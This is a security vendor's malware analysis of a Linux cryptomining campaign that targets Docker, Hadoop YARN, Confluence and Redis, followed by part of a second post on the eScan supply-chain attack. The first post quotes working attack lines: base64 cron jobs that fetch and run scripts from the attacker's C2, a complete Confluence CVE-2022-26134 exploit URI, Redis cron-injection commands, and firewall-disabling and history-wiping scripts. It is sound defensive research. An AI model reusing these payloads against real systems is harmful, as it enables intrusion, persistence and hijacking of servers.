June 3, 2024

Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Cado Security labs researchers (now part of Darktrace) encountered a Linux malware campaign, "Spinning YARN," that targets Docker, Apache Hadoop, Redis, and Confluence. This campaign exploits vulnerabilities in these widely used platforms to gain access.

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The Darktrace Community

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

The Darktrace Community

Jun 2024

Introduction: Linux malware campaign

Researchers from Cado Security Labs (now part of Darktrace) have encountered an emerging malware campaign targeting misconfigured servers running the following web-facing services:

Apache Hadoop YARN [1]
Docker‍
Confluence [2]
Redis

The campaign utilizes a number of unique and unreported payloads, including four Golang binaries, that serve as tools to automate the discovery and infection of hosts running the above services. The attackers leverage these tools to issue exploit code, taking advantage of common misconfigurations and exploiting an n-day vulnerability, to conduct Remote Code Execution (RCE) attacks and infect new hosts. 

Once initial access is achieved, a series of shell scripts and general Linux attack techniques are used to deliver a cryptocurrency miner, spawn a reverse shell and enable persistent access to the compromised hosts. 

As always, it’s worth stressing that without the capabilities of governments or law enforcement agencies, attribution is nearly impossible – particularly where shell script payloads are concerned. However, it’s worth noting that the shell script payloads delivered by this campaign bear resemblance to those seen in prior cloud attacks, including those attributed to TeamTNT and WatchDog, along with the Kiss a Dog campaign reported by Crowdstrike. [3] 

Summary:

Four novel Golang payloads have been discovered that automate the identification and exploitation of Docker, Hadoop YARN, Confluence and Redis hosts
Attackers deploy an exploit for CVE-2022-26134, an n-day vulnerability in Confluence which is used to conduct RCE attacks [4]
For the Docker compromise, the attackers spawn a container and escape from it onto the underlying host
The attackers also deploy an instance of the Platypus open-source reverse shell utility, to maintain access to the host [5]
Multiple user mode rootkits are deployed to hide malicious processes

Initial access

Cado Security Labs researchers first discovered this campaign after being alerted to a cluster of initial access activity on a Docker Engine API honeypot. A Docker command was received from the IP address 47[.]96[.]69[.]71 that spawned a new container, based on Alpine Linux, and created a bind mount for the underlying honeypot server’s root directory (/) to the mount point /mnt within the container itself. 

This technique is fairly common in Docker attacks, as it allows the attacker to write files to the underlying host. Typically, this is exploited to write out a job for the Cron scheduler to execute, essentially conducting a remote code execution (RCE) attack. 
In this particular campaign, the attacker exploits this exact method to write out an executable at the path /usr/bin/vurl, along with registering a Cron job to decode some base64-encoded shell commands and execute them on the fly by piping through bash.

Figure 1: Wireshark output demonstrating Docker communication, including Initial Access commands

The vurl executable consists solely of a simple shell script function, used to establish a TCP connection with the attacker’s Command and Control (C2) infrastructure via the /dev/tcp device file. The Cron jobs mentioned above then utilize the vurl executable to retrieve the first stage payload from the C2 server located at http[:]//b[.]9-9-8[.]com which, at the time of the attack, resolved to the IP 107[.]189[.]31[.]172.

‍

echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsICRACg== |base64 -d    

     \u003e/usr/bin/vurl \u0026\u0026 chmod +x /usr/bin/vurl;echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/crontab \u0026\u0026 echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/cron.d/zzh \u0026\u0026 echo KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d \u003e\u003e/etc/crontab"

Payload retrieval commands written out to the Docker host

echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d 

    vurl http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

Contents of first Cron job decoded

To provide redundancy in the event that the vurl payload retrieval method fails, the attackers write out an additional Cron job that attempts to use Python and the urllib2 library to retrieve another payload named t.sh.

KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d 

    * * * * * root python -c "import urllib2; print urllib2.urlopen('http://b.9\-9\-\8.com/t.sh').read()" >.1;chmod +x .1;./.1

Contents of the second Cron job decoded

Unfortunately, Cado Security Labs researchers were unable to retrieve this additional payload. It is assumed that it serves a similar purpose to the cronb.sh script discussed in the next section, and is likely a variant that carries out the same attack without relying on vurl. 

It’s worth noting that based on the decoded commands above, t.sh appears to reside outside the web directory that the other files are served from. This could be a mistake on the part of the attacker, perhaps they neglected to include that fragment of the URL when writing the Cron job.

Primary payload: cronb.sh

cronb.sh is a fairly straightforward shell script, its capabilities can be summarized as follows:

Define the C2 domain (http[:]//b[.]9-9-8[.]com) and URL (http[:]//b[.]9-9-8[.]com/brysj) where additional payloads are located 
Check for the existence of the chattr utility and rename it to zzhcht at the path in which it resides
If chattr does not exist, install it via the e2fsprogs package using either the apt or yum package managers before performing the renaming described above
Determine whether the current user is root and retrieve the next payload based on this

... 
    if [ -x /bin/chattr ];then 
        mv /bin/chattr /bin/zzhcht 
    elif [ -x /usr/bin/chattr ];then 
        mv /usr/bin/chattr /usr/bin/zzhcht 
    elif [ -x /usr/bin/zzhcht ];then 
        export CHATTR=/usr/bin/zzhcht 
    elif [ -x /bin/zzhcht ];then 
        export CHATTR=/bin/zzhcht 
    else  
       if [ $(command -v yum) ];then  
            yum -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
               mv /bin/chattr /bin/zzhcht 
       elif [ -x /usr/bin/chattr ];then 
               mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       else 
            apt-get -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
              mv /bin/chattr /bin/zzhcht 
      elif [ -x /usr/bin/chattr ];then 
              mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       fi 
    fi 
    ...

Snippet of cronb.sh demonstrating chattr renaming code

ar.sh

This much longer shell script prepares the system for additional compromise, performs anti-forensics on the host and retrieves additional payloads, including XMRig and an attacker-generated script that continues the infection chain.

In a function named check_exist(), the malware uses netstat to determine whether connections to port 80 outbound are established. If an established connection to this port is discovered, the malware prints miner running to standard out. Later code suggests that the retrieved miner communicates with a mining pool on port 80, indicating that this is a check to determine whether the host has been previously compromised.

ar.sh will then proceed to install a number of utilities, including masscan, which is used for host discovery at a later stage in the attack. With this in place, the malware proceeds to run a number of common system weakening and anti-forensics commands. These include disabling firewalld and iptables, deleting shell history (via the HISTFILE environment variable), disabling SELinux and ensuring outbound DNS requests are successful by adding public DNS servers to /etc/resolv.conf.

Interestingly, ar.sh makes use of the shopt (shell options) built-in to prevent additional shell commands from the attacker’s session from being appended to the history file. [6] This is achieved with the following command:

shopt -ou history 2>/dev/null 1>/dev/null

Not only are additional commands prevented from being written to the history file, but the shopt command itself doesn’t appear in the shell history once a new session has been spawned. This is an effective anti-forensics technique for shell script malware, one that Cado Security Labs researchers have yet to see in other campaigns.

env_set(){ 
    iptables -F 
    systemctl stop firewalld 2>/dev/null 1>/dev/null 
    systemctl disable firewalld 2>/dev/null 1>/dev/null 
    service iptables stop 2>/dev/null 1>/dev/null 
    ulimit -n 65535 2>/dev/null 1>/dev/null 
    export LC_ALL=C  
    HISTCONTROL="ignorespace${HISTCONTROL:+:$HISTCONTROL}" 2>/dev/null 1>/dev/null 
    export HISTFILE=/dev/null 2>/dev/null 1>/dev/null 
    unset HISTFILE 2>/dev/null 1>/dev/null 
    shopt -ou history 2>/dev/null 1>/dev/null 
    set +o history 2>/dev/null 1>/dev/null 
    HISTSIZE=0 2>/dev/null 1>/dev/null 
    export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games 
    setenforce 0 2>/dev/null 1>/dev/null 
    echo SELINUX=disabled >/etc/selinux/config 2>/dev/null 
    sudo sysctl kernel.nmi_watchdog=0 
    sysctl kernel.nmi_watchdog=0 
    echo '0' >/proc/sys/kernel/nmi_watchdog 
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 
    grep -q 8.8.8.8 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; 
    grep -q 114.114.114.114 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; 
    }

System weakening commands from ar.sh – env_set() function

Following the above techniques, ar.sh will proceed to install the libprocesshider and diamorphine user mode rootkits and use these to hide their malicious processes [7][8]. The rootkits are retrieved from the attacker’s C2 server and compiled on delivery. The use of both libprocesshider and diamorphine is particularly common in cloud malware campaigns and was most recently exhibited by a Redis miner discovered by Cado Security Labs in February 2024. [9].

Additional system weakening code in ar.sh focuses on uninstalling monitoring agents for Alibaba Cloud and Tencent, suggesting some targeting of these cloud environments in particular. Targeting of these East Asian cloud providers has been observed previously in campaigns by the threat actor WatchDog [10].

Other notable capabilities of ar.sh include: 

Insertion of an attacker-controlled SSH key, to maintain access to the compromised host
Retrieval of the miner binary (a fork of XMRig), this is saved to /var/tmp/.11/sshd
Retrieval of bioset, an open source Golang reverse shell utility, named Platypus, saved to /var/tmp/.11/bioset [5]
The bioset payload was intended to communicate with an additional C2 server located at 209[.]141[.]37[.]110:14447, communication with this host was unsuccessful at the time of analysis
Registering persistence in the form of systemd services for both bioset and the miner itself
Discovery of SSH keys and related IPs
The script also attempts to spread the cronb.sh malware to these discovered IPs via a SSH remote command
Retrieval and execution of a binary executable named fkoths (discussed in a later section)

... 
            ${CHATTR} -ia /etc/systemd/system/sshm.service && rm -f /etc/systemd/system/sshm.service 
    cat >/tmp/ext4.service << EOLB 
    [Unit] 
    Description=crypto system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/sshd 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    grep -q '/var/tmp/.11/bioset' /etc/systemd/system/sshb.service 
    if [ $? -eq 0 ] 
    then  
            echo service exist 
    else 
            ${CHATTR} -ia /etc/systemd/system/sshb.service && rm -f /etc/systemd/system/sshb.service 
    cat >/tmp/ext3.service << EOLB 
    [Unit] 
    Description=rshell system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/bioset 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    ...

Examples of systemd service creation code for the miner and bioset binaries

Finally, ar.sh creates an infection marker on the host in the form of a simple text file located at /var/tmp/.dog. The script first checks that the /var/tmp/.dog file exists. If it doesn’t, the file is created and the string lockfile is echoed into it. This serves as a useful detection mechanism to determine whether a host has been compromised by this campaign. 

Finally, ar.sh concludes by retrieving s.sh from the C2 server, using the vurl function once again.

fkoths

This payload is the first of several 64-bit Golang ELFs deployed by the malware. The functionality of this executable is incredibly straightforward. Besides main(), it contains two additional functions named DeleteImagesByRepo() and AddEntryToHost(). 

DeleteImagesByRepo() simply searches for Docker images from the Ubuntu or Alpine repositories, and deletes those if found. Go’s heavy use of the stack makes it somewhat difficult to determine which repositories the attackers were targeting based on static analysis alone. Fortunately, this becomes evident when monitoring the stack in a debugger.

Figure 2: Example stack contents when DeleteImagesByRepo() is called

It’s clear from the initial access stage that the attackers leverage the alpine:latest image to initiate their attack on the host. Based on this, it’s been assessed with high confidence that the purpose of this function is to clear up any evidence of this initial access, essentially performing anti-forensics on the host. 

The AddEntryToHost() function, as the name suggests, updates the /etc/hosts file with the following line:

127.0.0.1 registry-1.docker.io

This has the effect of “blackholing” outbound requests to the Docker registry, preventing additional container images from being pulled from Dockerhub. This same technique was observed recently by Cado Security Labs researchers in the Commando Cat campaign [11].

s.sh

The next stage in the infection chain is the execution of yet another shell script, this time used to download additional binary payloads and persist them on the host. Like the scripts before it, s.sh begins by defining the C2 domain (http[:]//b[.]9-9-8[.]com), using a base64-encoded string. The malware then proceeds to create the following directory structure and changing directory into it: /etc/…/.ice-unix/. 

Within the .ice-unix directory, the attacker creates another infection marker on the host, this time in a file named .watch. If the file doesn’t already exist, the script will create it and echo the integer 1 into it. Once again, this serves as a useful detection mechanism for determining whether your host has been compromised by this campaign.

With this in place, the malware proceeds to install a number of packages via the apt or yum package managers. Notable packages include:

build-essential
gcc
redis-server
redis-tools
redis
unhide
masscan
docker.io
libpcap (a dependency of pnscan)

From this, it is believed that the attacker intends to compile some code on delivery, interact with Redis, conduct Internet scanning with masscan and interact with Docker. 

With the package installation complete, s.sh proceeds to retrieve zgrab and pnscan from the C2 server, these are used for host discovery in a later stage. The script then proceeds to retrieve the following executables:

c.sh – saved as /etc/.httpd/.../httpd
d.sh – saved as /var/.httpd/.../httpd
w.sh – saved as /var/.httpd/..../httpd
h.sh – saved as var/.httpd/...../httpd

s.sh then proceeds to define systemd services to persistently launch the retrieved executables, before saving them to the following paths:

/etc/systemd/system/zzhr.service (c.sh)
/etc/systemd/system/zzhd.service (d.sh)
/etc/systemd/system/zzhw.service (w.sh)
/etc/systemd/system/zzhh.service (h.sh)

‍

... 
    if [ ! -f /var/.httpd/...../httpd ];then 
        vurl $domain/d/h.sh > httpd 
        chmod a+x httpd 
        echo "FUCK chmod2" 
        ls -al /var/.httpd/..... 
    fi 
    cat >/tmp/h.service <<EOL 
    [Service] 
    LimitNOFILE=65535 
    ExecStart=/var/.httpd/...../httpd 
    WorkingDirectory=/var/.httpd/..... 
    Restart=always  
    RestartSec=30 
    [Install] 
    WantedBy=default.target 
    EOL 
    ...

Example of payload retrieval and service creation code for the h.sh payload

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

In the previous stage, the attacker retrieves and attempts to persist the payloads c.sh, d.sh, w.sh and h.sh. These executables are dedicated to identifying and exploiting hosts running each of the four services mentioned previously. 

Despite their names, all of these payloads are 64-bit Golang ELF binaries. Interestingly, the malware developer neglected to strip the binaries, leaving DWARF debug information intact. There has been no effort made to obfuscate strings or other sensitive data within the binaries either, making them trivial to reverse engineer. 

The purpose of these payloads is to use masscan or pnscan (compiled on delivery in an earlier stage) to scan a randomized network segment and search for hosts with ports 2375, 8088, 8090 or 6379 open. These are default ports used by the Docker Engine API, Apache Hadoop YARN, Confluence and Redis respectively. 

h.sh, d.sh and w.sh contain identical functions to generate a list of IPs to scan and hunt for these services. First, the Golang time_Now() function is called to provide a seed for a random number generator. This is passed to a function generateRandomOctets() that’s used to define a randomised /8 network prefix to scan. Example values include:

109.0.0.0/8
84.0.0.0/8
104.0.0.0/8
168.0.0.0/8
3.0.0.0/8
68.0.0.0/8

For each randomized octet, masscan is invoked and the resulting IPs are written out to the file scan_<octet>.0.0.0_8.txt in the working directory. 

d.sh

disassembly demonstrating use of os/exec to run massan — Figure 3: Disassembly demonstrating use of os/exec to run masscan

For d.sh, this procedure is used to identify hosts with the default Docker Engine API port (2375) open. The full masscan command is as follows:

masscan <octet>.0.0.0/8 -p 2375 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

The masscan output file is then read and the list of IPs is converted into a format readable by zgrab, before being written out to the file ips_for_zgrab_<octet>.txt [12].

For d.sh, zgrab will read these IPs and issue a HTTP GET request to the /v1.16/version endpoint of the Docker Engine API. The zgrab command in its entirety is as follows:

zgrab --senders 5000 --port=2375 --http='/v1.16/version' --output-file=zgrab_output_<octet>.0.0.0_8.json`  < ips_for_zgrab_<octet>.txt 2>/dev/null

Successful responses to this HTTP request let the attacker know that Docker Engine is indeed running on port 2375 for the IP in question. The list of IPs to have responded successfully is then written out to zgrab_output_<octet>.0.0.0_8.json. 

Next, the payload calls a function helpfully named executeDockerCommand() for each of the IPs discovered by zgrab. As the name suggests, this function executes the Docker command covered in the Initial Access section above, kickstarting the infection chain on a new vulnerable host. 

Figure 4: Decompiler output demonstrating Docker command construction routine

h.sh

This payload contains identical logic for the randomized octet generation and follows the same procedure of using masscan and zgrab to identify targets. The main difference in this payload’s discovery phase is the targeting of Apache Hadoop servers, rather than Docker Engine deployments. As a result, the masscan and zgrab commands are slightly different:

masscan <octet>.0.0.0/8 -p 8088 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

zgrab --senders 1000 --port=8088 --http='/stacks' --output-file=zgrab_output_<octet>.0.0.0_8.json` < ips_for_zgrab_<octet>.txt 2>/dev/null

From this, we can determine that d.sh is a Docker discovery and initial access tool, whereas h.sh is an Apache Hadoop discovery and initial access tool. 

Instead of invoking the executeDockerCommand() function, this payload instead invokes a function named executeYARNCommand() to handle the interaction with Hadoop. Similar to the Docker API interaction described previously, the purpose of this is to target Apache Hadoop YARN, a component of Hadoop that is responsible for scheduling tasks within the cluster [1].

If the YARN API is exposed to the open Internet, it’s possible to conduct a RCE attack by sending a JSON payload in a HTTP POST request to the /ws/v1/cluster/apps/ endpoint. This method of conducting RCE has been leveraged previously to deliver cloud-focused malware campaigns, such as Kinsing [13].

Example of YARN HTTP POST generation pseudocode in h.sh — Figure 5: Example of YARN HTTP POST generation pseudocode in h.sh

The POST request contains a JSON body with the same base64-encoded initial access command we covered previously. The JSON payload defines a new application (task to be scheduled, in this case a shell command) with the name new-application. This shell command decodes the base64 payload that defines vurl and retrieves the first stage of the infection chain. 

Success in executing this command kicks off the infection once again on a Hadoop host, allowing the attackers persistent access and the ability to run their XMRig miner.

w.sh 

This executable repeats the discovery procedure outlined in the previous two initial access/discovery payloads, except this time the target port is changed to 8090 – the default port used by Confluence. [2]

For each IP discovered, the malware uses zgrab to issue a HTTP GET request to the root directory of the server. This request includes a URI containing an exploit for CVE-2022-26134, a vulnerability in the Confluence server that allows attackers to conduct RCE attacks. [4]

As you might expect, this RCE is once again used to execute the base64-encoded initial access command mentioned previously.

Figure 6: Decompiler output displaying CVE-2022-26134 exploit code

Without URL encoding, the full URI appears as follows:

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}/

c.sh 

This final payload is dedicated to exploiting misconfigured Redis deployments. Of course, targeting of Redis is incredibly common amongst cloud-focused threat actors, making it unsurprising that Redis would be included as one of the four services targeted by this campaign [9].

This sample includes a slightly different discovery procedure from the previous three. Instead of using a combination of zgrab and masscan to identify targets, c.sh opts to execute pnscan across a range of randomly-generated IP addresses. 

After execution, the malware sets the maximum number of open files to 5000 via the setrlimit() syscall, before proceeding to delete a file named .dat in the current working directory, if it exists. If the file doesn’t exist, the malware creates it and writes the following redis-cli commands to it, in preparation for execution on identified Redis hosts:

save 
    config set stop-writes-on-bgsave-error no 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/var/spool/cron/" 
    config set dbfilename "root" 
    save 
    config set dir "/var/spool/cron/crontabs" 
    save 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/etc/cron.d" 
    config set dbfilename "zzh" 
    save 
    config set dir "/etc/" 
    config set dbfilename "crontab" 
    save

This achieves RCE on infected hosts, by writing a Cron job including shell commands to retrieve the cronb.sh payload to the database, before saving the database file to one of the Cron directories. When this file is read by the scheduler, the database file is parsed for the Cron job, and the job itself is eventually executed. This is a common Redis exploitation technique, covered extensively by Cado in previous blogs [9].

After running the random octet generation code described previously, the malware then uses pnscan to attempt to scan the randomized /16 subnet and identify misconfigured Redis servers. The pnscan command is as follows:

/usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 221.0.0.0/16 6379

The -t argument enforces a timeout of 512 milliseconds for outbound connections
The -R argument looks for a specific hex-encoded response from the target server, in this case s:Linux (note that this is likely intended to be os:Linux)
The -W argument is a hex-encoded request string to send to the server. This runs the command 1; $4; info against the Redis host, prompting it to return the banner info searched for with the -R argument

pnsan command construction and execution — Figure 7: Disassembly demonstrating pnscan command construction and execution

For each identified IP, the following Redis command is run:

redis-cli -h <IP address> -p <port> –raw <content of .dat>

Of course, this has the effect of reading the redis-cli commands in the .dat file and executing them on discovered hosts.

Conclusion

This extensive attack demonstrates the variety in initial access techniques available to cloud and Linux malware developers. Attackers are investing significant time into understanding the types of web-facing services deployed in cloud environments, keeping abreast of reported vulnerabilities in those services and using this knowledge to gain a foothold in target environments. 

Docker Engine API endpoints are frequently targeted for initial access. In the first quarter of 2024 alone, Cado Security Labs researchers have identified three new malware campaigns exploiting Docker for initial access, including this one. [11, 14] The deployment of an n-day vulnerability against Confluence also demonstrates a willingness to weaponize security research for nefarious purposes.

Although it’s not the first time Apache Hadoop has been targeted, it’s interesting to note that attackers still find the big data framework a lucrative target. It’s unclear whether the decision to target Hadoop in addition to Docker is based on the attacker’s experience or knowledge of the target environment.

Indicators of compromise

Filename SHA256

cronb.sh d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e

ar.sh 64d8f887e33781bb814eaefa98dd64368da9a8d38bd9da4a76f04a23b6eb9de5

fkoths afddbaec28b040bcbaa13decdc03c1b994d57de244befbdf2de9fe975cae50c4

s.sh 251501255693122e818cadc28ced1ddb0e6bf4a720fd36dbb39bc7dedface8e5

bioset 0c7579294124ddc32775d7cf6b28af21b908123e9ea6ec2d6af01a948caf8b87

d.sh 0c3fe24490cc86e332095ef66fe455d17f859e070cb41cbe67d2a9efe93d7ce5

h.sh d45aca9ee44e1e510e951033f7ac72c137fc90129a7d5cd383296b6bd1e3ddb5

w.sh e71975a72f93b134476c8183051fee827ea509b4e888e19d551a8ced6087e15c

c.sh 5a816806784f9ae4cb1564a3e07e5b5ef0aa3d568bd3d2af9bc1a0937841d174

Paths

/usr/bin/vurl

/etc/cron.d/zzh

/bin/zzhcht

/usr/bin/zzhcht

/var/tmp/.11/sshd

/var/tmp/.11/bioset

/var/tmp/.11/..lph

/var/tmp/.dog

/etc/systemd/system/sshm.service

/etc/systemd/system/sshb.service

/etc/systemd/system/zzhr.service

/etc/systemd/system/zzhd.service

/etc/systemd/system/zzhw.service

/etc/systemd/system/zzhh.service

/etc/…/.ice-unix/

/etc/…/.ice-unix/.watch

/etc/.httpd/…/httpd

/var/.httpd/…./httpd

/var/.httpd/…../httpd

IP addresses

47[.]96[.]69[.]71

107[.]189[.]31[.]172

209[.]141[.]37[.]110

Domains/URLs

http[:]//b[.]9-9-8[.]com

http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

http[:]//b[.]9-9-8[.]com/brysj/d/ar.sh

http[:]//b[.]9-9-8[.]com/brysj/d/c.sh

http[:]//b[.]9-9-8[.]com/brysj/d/h.sh

http[:]//b[.]9-9-8[.]com/brysj/d/d.sh

http[:]//b[.]9-9-8[.]com/brysj/d/enbio.tar

References:

Written by

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Inside the SOC

Written by

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Associate Principal Analyst

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April 21, 2026

How a Compromised eScan Update Enabled Multi‑Stage Malware and Blockchain C2

The rise of supply chain attacks

In recent years, the abuse of trusted software has become increasingly common, with supply chain compromises emerging as one of the fastest growing vectors for cyber intrusions. As highlighted in Darktrace’s Annual Threat Report 2026, attackers and state-actors continue to find significant value in gaining access to networks through compromised trusted links, third-party tools, or legitimate software. In January 2026, a supply chain compromise affecting MicroWorld Technologies’ eScan antivirus product was reported, with malicious updates distributed to customers through the legitimate update infrastructure. This, in turn, resulted in a multi‑stage loader malware being deployed on compromised devices [1][2].

An overview of eScan exploitation

According to eScan’s official threat advisory, unauthorized access to a regional update server resulted in an “incorrect file placed in the update distribution path” [3]. Customers associated with the affected update servers who downloaded the update during a two-hour window on January 20 were impacted, with affected Windows devices subsequently have experiencing various errors related to update functions and notifications [3].

While eScan did not specify which regional update servers were affected by the malicious update, all impacted Darktrace customer environments were located in the Europe, Middle East, and Africa (EMEA) region.

External research reported that a malicious 32-bit executable file , “Reload.exe”, was first installed on affected devices, which then dropped the 64-bit downloader, “CONSCTLX.exe”. This downloader establishes persistence by creating scheduled tasks such as “CorelDefrag”, which are responsible for executing PowerShell scripts. Subsequently, it evades detection by tampering with the Windows HOSTS file and eScan registry to prevent future remote updates intended for remediation. Additional payloads are then downloaded from its command-and-control (C2) server [1].

Darktrace’s coverage of eScan exploitation

Initial Access and Blockchain as multi-distributed C2 Infrastructure

On January 20, the same day as the aforementioned two‑hour exploit window, Darktrace observed multiple devices across affected networks downloading .dlz package files from eScan update servers, followed by connections to an anomalous endpoint, vhs.delrosal[.]net, which belongs to the attackers’ C2 infrastructure.

The endpoint contained a self‑signed SSL certificate with the string “O=Internet Widgits Pty Ltd, ST=SomeState, C=AU”, a default placeholder commonly used in SSL/TLS certificates for testing and development environments, as well as in malicious C2 infrastructure [4].

Utilizing a multi‑distributed C2 infrastructure, the attackers also leveraged domains linked with the Solana open‑source blockchain for C2 purposes, namely “.sol”. These domains were human‑readable names that act as aliases for cryptocurrency wallet addresses. As browsers do not natively resolve .sol domains, the Solana Naming System (formerly known as Bonfida, an independent contributor within the Solana ecosystem) provides a proxy service, through endpoints such as sol-domain[.]org, to enable browser access.

Darktrace observed devices connecting to blackice.sol-domain[.]org, indicating that attackers were likely using this proxy to reach a .sol domain for C2 activity. Given this behavior, it is likely that the attackers leveraged .sol domains as a dead drop resolver, a C2 technique in which threat actors host information on a public and legitimate service, such as a blockchain. Additional proxy resolver endpoints, such as sns-resolver.bonfida.workers[.]dev, were also observed.

Solana transactions are transparent, allowing all activity to be viewed publicly. When Darktrace analysts examined the transactions associated with blackice[.]sol, they observed that the earliest records dated November 7, 2025, which coincides with the creation date of the known C2 endpoint vhs[.]delrosal[.]net as shown in WHOIS Lookup information [4][5].

Figure 1: WHOIS Look records of the C2 endpoint vhs[.]delrosal[.]net.

Figure 2: Earliest observed transaction record for blackice[.]sol on public ledgers.

Subsequent instructions found within the transactions contained strings such as “CNAME= vhs[.]delrosal[.]net”, indicating attempts to direct the device toward the malicious endpoint. A more recent transaction recorded on January 28 included strings such as “hxxps://96.9.125[.]243/i;code=302”, suggesting an effort to change C2 endpoints. Darktrace observed multiple alerts triggered for these endpoints across affected devices.

Similar blockchain‑related endpoints, such as “tumama.hns[.]to”, were also observed in C2 activities. The hns[.]to service allows web browsers to access websites registered on Handshake, a decentralized blockchain‑based framework designed to replace centralized authorities and domain registries for top‑level domains. This shift toward decentralized, blockchain‑based infrastructure likely reflects increased efforts by attackers to evade detection.

